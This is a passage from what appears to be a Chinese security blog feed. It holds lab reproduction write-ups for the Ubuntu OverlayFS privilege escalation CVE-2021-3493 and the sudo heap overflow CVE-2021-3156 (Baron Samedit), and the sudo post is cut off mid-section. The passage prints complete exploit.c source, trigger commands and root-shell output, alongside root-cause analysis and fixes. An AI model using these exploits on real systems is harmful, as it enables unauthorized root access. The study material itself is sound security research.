&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-3493&lt;/td&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;td&gt;Ubuntu 20.10、20.04 LTS、18.04 LTS、16.04 LTS（含 14.04 ESM）的内核&lt;/td&gt;
&lt;td&gt;本地权限提升（LPE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;本文是 &lt;a href=&quot;/posts/2023/05/131/&quot;&gt;PwnKit 提权漏洞（CVE-2021-4034）复现&lt;/a&gt;的延伸，直接使用 &lt;code&gt;vulhub/polkit/CVE-2021-4034&lt;/code&gt; 目录下的靶机。因为容器中运行了 Qemu 虚拟机，所以初始化需要消耗更长时间。可以使用 &lt;code&gt;docker compose logs&lt;/code&gt; 查看运行时的日志。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/polkit/CVE-2021-4034	
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
3c5c6abb13d9   vulhub/polkit:0.105   &quot;/bin/sh -c &apos;qemu-sy…&quot;   24 minutes ago   Up 24 minutes   0.0.0.0:2222-&amp;gt;2222/tcp, :::2222-&amp;gt;2222/tcp   cve-2021-4034-cmd-1

└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1  | [  OK  ] Finished Execute cloud user/final scripts.
cmd-1  | [  OK  ] Reached target Cloud-init target.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
|   256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_  256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;OpenSSH 8.2p1 Ubuntu 4&lt;/code&gt;：这个版本对应的上游操作系统是 &lt;strong&gt;Ubuntu 20.04（Focal Fossa）&lt;/strong&gt;。
&lt;code&gt;2222/tcp&lt;/code&gt;：非标准 SSH 端口。&lt;/p&gt;
&lt;h3&gt;登录目标&lt;/h3&gt;
&lt;p&gt;在漏洞复现过程中我们已知用户 &lt;code&gt;ubuntu&lt;/code&gt; 的密码为 &lt;code&gt;vulhub&lt;/code&gt;，先使用这个已知的账户登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ ssh ubuntu@192.168.31.148 -p 2222 
ubuntu@192.168.31.148&apos;s password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

To run a command as administrator (user &quot;root&quot;), use &quot;sudo &amp;lt;command&amp;gt;&quot;.
See &quot;man sudo_root&quot; for details.

ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;h4&gt;检查内核版本&lt;/h4&gt;
&lt;p&gt;首先确认内核版本是否在受影响的范围内。&lt;code&gt;5.4.0-26-generic&lt;/code&gt;是 20.04 发布时的初始版本，处于漏洞的影响区间。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ uname -a
Linux ubuntu 5.4.0-26-generic #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;检查“用户命名空间”权限&lt;/h4&gt;
&lt;p&gt;该漏洞的触发前提是系统允许普通用户创建自己的命名空间（User Namespace）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果 = 1&lt;/strong&gt;：漏洞&lt;strong&gt;极大概率存在&lt;/strong&gt;。系统允许非特权用户创建命名空间，这是 OverlayFS 提权的必要路径。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结果 = 0&lt;/strong&gt;：系统加固了。普通用户无法创建命名空间，漏洞利用会被拦截。&lt;/p&gt;
&lt;h4&gt;功能模拟&lt;/h4&gt;
&lt;p&gt;如果前两步都符合，可以通过一个简单的命令来测试内核是否会“错误地允许”用户在自己的命名空间里挂载 OverlayFS。这不会提权，但能验证路径是否打通。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ unshare -rm bash -c &quot;mkdir l u w m; mount -t overlay overlay -o lowerdir=l,upperdir=u,workdir=w m &amp;amp;&amp;amp; echo &apos;VULNERABLE: Mount Success&apos; || echo &apos;PATCHED: Mount Failed&apos;; umount m; rm -rf l u w m&quot;
VULNERABLE: Mount Success
umount: /home/ubuntu/m: filesystem was unmounted, but failed to update userspace mount table.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出 VULNERABLE: Mount Success&lt;/strong&gt;：内核允许你在非特权环境下操作 OverlayFS 的挂载。这意味着内核没有对该操作进行严格的边界限制，&lt;strong&gt;漏洞确认存在&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;输出 Operation not permitted 或 Mount Failed&lt;/strong&gt;：内核拒绝了挂载请求。这说明内核已经修补，或者管理员通过安全策略限制了 OverlayFS 的使用。&lt;/p&gt;
&lt;h3&gt;GitHub POC&lt;/h3&gt;
&lt;p&gt;在 GitHub 上查找可用的 POC 并尝试提权：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ git clone https://github.com/briskets/CVE-2021-3493.git
ubuntu@ubuntu:~$ cd CVE-2021-3493/
ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c -o exploit
ubuntu@ubuntu:~/CVE-2021-3493$ ./exploit 
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)
bash-5.0# whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;POC 的代码级原理见下文“POC 代码简析”。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;机制背景&lt;/h3&gt;
&lt;p&gt;该漏洞的核心在于 Ubuntu 内核的两项设计叠加：允许普通用户创建用户命名空间（User Namespace），以及允许普通用户挂载 OverlayFS（后者是 Ubuntu 内核自带的补丁，上游内核不允许）。用户命名空间内的用户拥有该空间内的全部权限（映射为 UID 0），但这些权限只在空间内部有效；内核通过能力（capability）校验等机制，防止这种空间内权限被带到全局命名空间。&lt;/p&gt;
&lt;h3&gt;逻辑漏洞&lt;/h3&gt;
&lt;p&gt;Linux 的文件能力（file capabilities）机制允许给可执行文件设置 &lt;code&gt;security.capability&lt;/code&gt; 扩展属性，内核在执行该文件时按属性内容授予进程特权。设置这个属性需要 CAP_SETFCAP 能力，且内核会校验申请者的权限是否在全局命名空间中有效。&lt;/p&gt;
&lt;p&gt;OverlayFS 在合并层写入文件时，会把文件的扩展属性同步到上层目录。Ubuntu 的内核代码在处理这步同步时，漏掉了对 &lt;code&gt;security.capability&lt;/code&gt; 的来源校验：它认为既然用户在自己的命名空间里是 root，就有权给文件设置能力属性，并允许这个属性被真实地写入到上层目录的物理文件中。&lt;/p&gt;
&lt;h3&gt;从虚拟特权到真实提权&lt;/h3&gt;
&lt;p&gt;攻击者在用户命名空间内挂载 OverlayFS，把一个可执行文件复制进合并层，并通过 &lt;code&gt;setxattr&lt;/code&gt; 给它写入代表全部特权的能力位（Full Capabilities）。由于内核没有拦截这个写入，这个带有能力属性的文件被持久化到上层目录。攻击者退出命名空间回到真实系统后，以普通用户身份执行这个文件：内核读取文件上的 &lt;code&gt;security.capability&lt;/code&gt; 属性，按其内容授予进程全部特权，进程随即调用 &lt;code&gt;setuid(0)&lt;/code&gt; 切换为全局 root，并启动 root Shell。&lt;/p&gt;
&lt;h2&gt;POC 代码简析&lt;/h2&gt;
&lt;h3&gt;exploit.c&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;err.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;
#include &amp;lt;sys/mount.h&amp;gt;

//#include &amp;lt;attr/xattr.h&amp;gt;
//#include &amp;lt;sys/xattr.h&amp;gt;
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    &quot;./ovlcap&quot;
#define DIR_WORK    DIR_BASE &quot;/work&quot;
#define DIR_LOWER   DIR_BASE &quot;/lower&quot;
#define DIR_UPPER   DIR_BASE &quot;/upper&quot;
#define DIR_MERGE   DIR_BASE &quot;/merge&quot;
#define BIN_MERGE   DIR_MERGE &quot;/magic&quot;
#define BIN_UPPER   DIR_UPPER &quot;/magic&quot;


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 &amp;amp;&amp;amp; errno != EEXIST)
        err(1, &quot;mkdir %s&quot;, path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, &quot;open %s&quot;, path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, &quot;write %s&quot;, path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, &quot;open %s&quot;, src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, &quot;open %s&quot;, dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, &quot;read %s&quot;, src);
        }

        char *p = buf;
        while (rd &amp;gt; 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, &quot;write %s&quot;, dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, &quot;rm -rf &apos;%s/&apos;&quot;, DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, &quot;unshare&quot;);

    xwritefile(&quot;/proc/self/setgroups&quot;, &quot;deny&quot;);

    sprintf(buf, &quot;0 %d 1&quot;, uid);
    xwritefile(&quot;/proc/self/uid_map&quot;, buf);

    sprintf(buf, &quot;0 %d 1&quot;, gid);
    xwritefile(&quot;/proc/self/gid_map&quot;, buf);

    sprintf(buf, &quot;lowerdir=%s,upperdir=%s,workdir=%s&quot;, DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount(&quot;overlay&quot;, DIR_MERGE, &quot;overlay&quot;, 0, buf) == -1)
        err(1, &quot;mount %s&quot;, DIR_MERGE);

    // all+ep
    char cap[] = &quot;\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00&quot;;

    xcopyfile(&quot;/proc/self/exe&quot;, BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, &quot;security.capability&quot;, cap, sizeof(cap) - 1, 0) == -1)
        err(1, &quot;setxattr %s&quot;, BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], &quot;magic&quot;) || (argc &amp;gt; 1 &amp;amp;&amp;amp; !strcmp(argv[1], &quot;shell&quot;))) {
        setuid(0);
        setgid(0);
        execl(&quot;/bin/bash&quot;, &quot;/bin/bash&quot;, &quot;--norc&quot;, &quot;--noprofile&quot;, &quot;-i&quot;, NULL);
        err(1, &quot;execl /bin/bash&quot;);
    }

    pid_t child = fork();
    if (child == -1)
        err(1, &quot;fork&quot;);

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, &quot;shell&quot;, NULL);
    err(1, &quot;execl %s&quot;, BIN_UPPER);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实验环境构建&lt;/h3&gt;
&lt;p&gt;代码首先通过一系列辅助函数在文件系统中建立起攻击所需的目录结构。利用 &lt;code&gt;DIR_BASE&lt;/code&gt; 及其子目录定义，程序在磁盘上创建了 &lt;strong&gt;OverlayFS&lt;/strong&gt; 运行必不可少的四个组件：底层目录（Lower）、上层目录（Upper）、工作目录（Work）以及最终挂载点合并目录（Merge）。这一阶段的目的是准备一个分层文件系统的操作空间。根据 OverlayFS 的工作机制，所有在合并层发生的写操作，其实际的物理文件和元数据最终都会被存储在上层目录中。&lt;/p&gt;
&lt;h3&gt;创建用户命名空间与 UID 映射&lt;/h3&gt;
&lt;p&gt;程序利用 &lt;code&gt;unshare(CLONE_NEWNS | CLONE_NEWUSER)&lt;/code&gt; 系统调用创建了独立的挂载命名空间和用户命名空间。在这一隔离的运行环境中，程序通过修改 &lt;code&gt;/proc/self/uid_map&lt;/code&gt; 和 &lt;code&gt;/proc/self/gid_map&lt;/code&gt; 文件，将当前普通用户的 ID 映射为该空间内的 &lt;strong&gt;UID 0&lt;/strong&gt;（超级用户）。虽然这种权限仅限于该命名空间内部，但它赋予了进程在空间内执行 &lt;code&gt;mount&lt;/code&gt; 系统调用的权限，从而允许程序将 OverlayFS 文件系统挂载到之前准备好的合并目录上。&lt;/p&gt;
&lt;h3&gt;写入扩展属性与内核校验绕过&lt;/h3&gt;
&lt;p&gt;在挂载完成后的合并目录中，程序将自身的可执行文件复制进去，并执行最核心的操作：调用 &lt;code&gt;setxattr&lt;/code&gt; 函数。该函数用于设置文件的扩展属性，程序向 &lt;code&gt;security.capability&lt;/code&gt; 属性中写入了一段经过构造的二进制数据 &lt;code&gt;cap&lt;/code&gt;。这段数据代表了 Linux 内核中的所有特权位（Full Capabilities）。正常情况下，非全局 root 用户禁止设置此类特权属性，但 Ubuntu 的内核在处理 OverlayFS 时存在逻辑错误，它未能正确校验该写入请求是否来自真实的全局特权用户，导致这组特权标志位被物理地写入到了底层磁盘的上层目录文件中。&lt;/p&gt;
&lt;h3&gt;root 权限获取&lt;/h3&gt;
&lt;p&gt;当负责属性写入的子进程退出后，隔离的命名空间随之销毁，但物理磁盘上已经生成了一个带有特权标志的可执行文件。主进程随后通过 &lt;code&gt;execl&lt;/code&gt; 函数启动位于上层目录中的这个文件。内核在加载该程序时，会读取磁盘上的扩展属性并赋予该进程真实的内核特权。程序重新进入 &lt;code&gt;main&lt;/code&gt; 函数后，通过判断逻辑识别出自身已具备特权身份，随即调用 &lt;code&gt;setuid(0)&lt;/code&gt; 和 &lt;code&gt;setgid(0)&lt;/code&gt; 将进程的有效用户 ID 切换为全局 Root，并最终执行 &lt;code&gt;execl&lt;/code&gt; 启动一个具有最高权限的交互式 Bash Shell。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 Ubuntu 内核至修复版本（如 Ubuntu 20.04 的 5.4.0-70 及以上）。修复方式：内核在用户命名空间内通过 OverlayFS 设置 capability 扩展属性时，将格式从 v2 升级为 v3，v3 格式包含 rootid 字段，记录能力所属的命名空间，跨命名空间的提权因此失效；&lt;/li&gt;
&lt;li&gt;临时缓解：&lt;code&gt;sysctl kernel.unprivileged_userns_clone=0&lt;/code&gt; 关闭普通用户的命名空间创建权限（见上文漏洞验证）；&lt;/li&gt;
&lt;li&gt;上游 Linux 内核不受影响，该漏洞仅存在于允许非特权 OverlayFS 挂载的发行版补丁内核。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ubuntu 安全页：https://ubuntu.com/security/CVE-2021-3493&lt;/li&gt;
&lt;li&gt;briskets POC（本文所用利用代码）：https://github.com/briskets/CVE-2021-3493&lt;/li&gt;
&lt;li&gt;0xlane POC（含修复机制分析）：https://github.com/0xlane/CVE-2021-3493&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2021-3493&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Baron Samedit 提权漏洞（CVE-2021-3156）复现</title><link>https://blog.mal-suen.cn/posts/2023/05/145/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/05/145/</guid><description>sudo 在 sudoedit 模式下处理以反斜杠结尾的参数时发生堆缓冲区溢出，攻击者通过精确的堆布局覆盖 NSS 库加载路径，让以 root 身份运行的 sudo 加载恶意共享库，本地普通用户直接获得 root 权限。CVSS 7.8，影响 sudo 1.7.7-1.7.10p9、1.8.2-1.8.31p2、1.9.0-1.9.5p1。本文基于 Vulhub 靶场复现并拆解堆溢出与库劫持的利用链。</description><pubDate>Thu, 11 May 2023 08:37:02 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2021-3156（Baron Samedit）是 sudo 的本地提权漏洞，CVSS 7.8，2021 年 1 月 26 日披露。sudo 在 &lt;code&gt;sudoedit -s&lt;/code&gt; 模式下转义命令行参数时，对以反斜杠 &lt;code&gt;\&lt;/code&gt; 结尾的字符串处理出错：复制循环越过字符串结束符继续读取，向堆缓冲区写入超出边界的数据，造成堆溢出。攻击者利用溢出数据改写 sudo 内部的 NSS（Name Service Switch）库加载路径，让以 root 身份运行的 sudo 加载当前目录下的恶意共享库，库的构造函数在加载时执行 &lt;code&gt;setuid(0)&lt;/code&gt; 并启动 root Shell。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 polkit/CVE-2021-4034 靶场（Qemu 虚拟机内的 Ubuntu 20.04，sudo 1.8.31），覆盖漏洞验证、利用代码检索与提权执行，并在文末拆解堆溢出与 NSS 劫持的代码级原理。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-3156&lt;/td&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;td&gt;sudo 1.7.7-1.7.10p9、1.8.2-1.8.31p2、1.9.0-1.9.5p1&lt;/td&gt;
&lt;td&gt;本地权限提升（LPE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;本文是 &lt;a href=&quot;/posts/2023/05/131/&quot;&gt;PwnKit 提权漏洞（CVE-2021-4034）复现&lt;/a&gt;的延伸，直接使用 &lt;code&gt;vulhub/polkit/CVE-2021-4034&lt;/code&gt; 目录下的靶机。因为容器中运行了 Qemu 虚拟机，所以初始化需要消耗更长时间。可以使用 &lt;code&gt;docker compose logs&lt;/code&gt; 查看运行时的日志。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/polkit/CVE-2021-4034	
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
3c5c6abb13d9   vulhub/polkit:0.105   &quot;/bin/sh -c &apos;qemu-sy…&quot;   24 minutes ago   Up 24 minutes   0.0.0.0:2222-&amp;gt;2222/tcp, :::2222-&amp;gt;2222/tcp   cve-2021-4034-cmd-1

└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1  | [  OK  ] Finished Execute cloud user/final scripts.
cmd-1  | [  OK  ] Reached target Cloud-init target.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
|   256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_  256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;OpenSSH 8.2p1 Ubuntu 4&lt;/code&gt;：这个版本对应的上游操作系统是 &lt;strong&gt;Ubuntu 20.04（Focal Fossa）&lt;/strong&gt;。
&lt;code&gt;2222/tcp&lt;/code&gt;：非标准 SSH 端口。&lt;/p&gt;
&lt;h3&gt;登录目标&lt;/h3&gt;
&lt;p&gt;在漏洞复现过程中我们已知用户 &lt;code&gt;ubuntu&lt;/code&gt; 的密码为 &lt;code&gt;vulhub&lt;/code&gt;，先使用这个已知的账户登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ ssh ubuntu@192.168.31.148 -p 2222 
ubuntu@192.168.31.148&apos;s password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

To run a command as administrator (user &quot;root&quot;), use &quot;sudo &amp;lt;command&amp;gt;&quot;.
See &quot;man sudo_root&quot; for details.

ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;该漏洞的触发核心在于 &lt;code&gt;sudoedit&lt;/code&gt; 在处理命令行转义字符（反斜杠 &lt;code&gt;\&lt;/code&gt;）时的逻辑错误。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ sudoedit -s &apos;\&apos; `perl -e &apos;print &quot;A&quot; x 65536&apos;`
malloc(): corrupted top size
Aborted (core dumped)
ubuntu@ubuntu:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当输入超长的 &lt;code&gt;A&lt;/code&gt; 字符串时，&lt;code&gt;sudoedit&lt;/code&gt; 在处理反斜杠 &lt;code&gt;\&lt;/code&gt; 时发生了堆溢出，破坏了内存中的堆块元数据。系统检测到了堆管理器的损坏（&lt;code&gt;corrupted top size&lt;/code&gt;），强制终止了进程并倾倒核心（&lt;code&gt;Core Dump&lt;/code&gt;）。从版本来看 &lt;code&gt;sudo 1.8.31&lt;/code&gt; 确实存在 CVE-2021-3156 漏洞。&lt;/p&gt;
&lt;h3&gt;检索利用代码&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;searchsploit&lt;/code&gt; 搜索漏洞，发现提供的漏洞利用工具版本并不符合要求。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ searchsploit --cve 2021-3156
----------------------------------------------------- ---------------------------------
 Exploit Title                                       |  Path
----------------------------------------------------- ---------------------------------
Sudo 1.9.5p1 - &apos;Baron Samedit &apos; Heap-Based Buffer Ov | multiple/local/49521.py
Sudo 1.9.5p1 - &apos;Baron Samedit &apos; Heap-Based Buffer Ov | multiple/local/49522.c
----------------------------------------------------- ---------------------------------
Shellcodes: No Results
----------------------------------------------------- ---------------------------------
 Paper Title                                         |  Path
----------------------------------------------------- ---------------------------------
Heap-Based Buffer Overflow in Sudo (Baron Samedit) - | docs/english/49950-heap-based-bu
----------------------------------------------------- ---------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GitHub POC&lt;/h3&gt;
&lt;p&gt;在 GitHub 上查找可用的 POC 并尝试提权，&lt;code&gt;./sudo-hax-me-a-sandwich&lt;/code&gt; 列出可提权的目标，发现恰好适配靶机的 sudo 版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ git clone https://github.com/blasty/CVE-2021-3156.git
ubuntu@ubuntu:~$ cd CVE-2021-3156/
ubuntu@ubuntu:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o &apos;libnss_X/P0P_SH3LLZ_ .so.2&apos; lib.c
ubuntu@ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty &amp;lt;peter@haxx.in&amp;gt;

  usage: ./sudo-hax-me-a-sandwich &amp;lt;target&amp;gt;

  available targets:
  ------------------------------------------------------------
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
  ------------------------------------------------------------

  manual mode:
    ./sudo-hax-me-a-sandwich &amp;lt;smash_len_a&amp;gt; &amp;lt;smash_len_b&amp;gt; &amp;lt;null_stomp_len&amp;gt; &amp;lt;lc_all_len&amp;gt;

ubuntu@ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 1

** CVE-2021-3156 PoC by blasty &amp;lt;peter@haxx.in&amp;gt;

using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 [&apos;/usr/bin/sudoedit&apos;] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)
# whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;POC 的代码级原理见下文“POC 代码简析”。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;代码逻辑错误&lt;/h3&gt;
&lt;p&gt;正常情况下，如果用户输入一个空格，&lt;code&gt;sudo&lt;/code&gt; 会把它转义成 &lt;code&gt;\ &lt;/code&gt;。稍后程序在处理时，看到 &lt;code&gt;\&lt;/code&gt;，就知道下一个字符是空格，于是把空格存入内存，并跳过 &lt;code&gt;\&lt;/code&gt;。而攻击者通过特定的命令组合（如 &lt;code&gt;sudoedit -s&lt;/code&gt;），绕过了第一步的转义过程，直接输入了一个以反斜杠 &lt;code&gt;\&lt;/code&gt; 结尾的字符串，例如 &lt;code&gt;cmd\&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;漏洞触发过程&lt;/h3&gt;
&lt;p&gt;当 &lt;code&gt;sudo&lt;/code&gt; 看到用户输入了字符串，会先计算长度，然后在内存（堆）中申请一块刚好够大的空间（缓冲区）。当程序开始把字符串复制到这块空间时，它遇到了字符串末尾的 &lt;code&gt;\&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;按照程序的逻辑：遇到 &lt;code&gt;\&lt;/code&gt;，就跳过它，去读下一个字符。但此时 &lt;code&gt;\&lt;/code&gt; 后面已经是&lt;strong&gt;字符串结束符&lt;/strong&gt;（Null 字节）了。程序跳过了结束符，继续向后读取，把缓冲区之外的内存数据也复制了进来，写入的数据量超出了缓冲区的边界，这就是堆溢出。&lt;/p&gt;
&lt;h3&gt;实现提权&lt;/h3&gt;
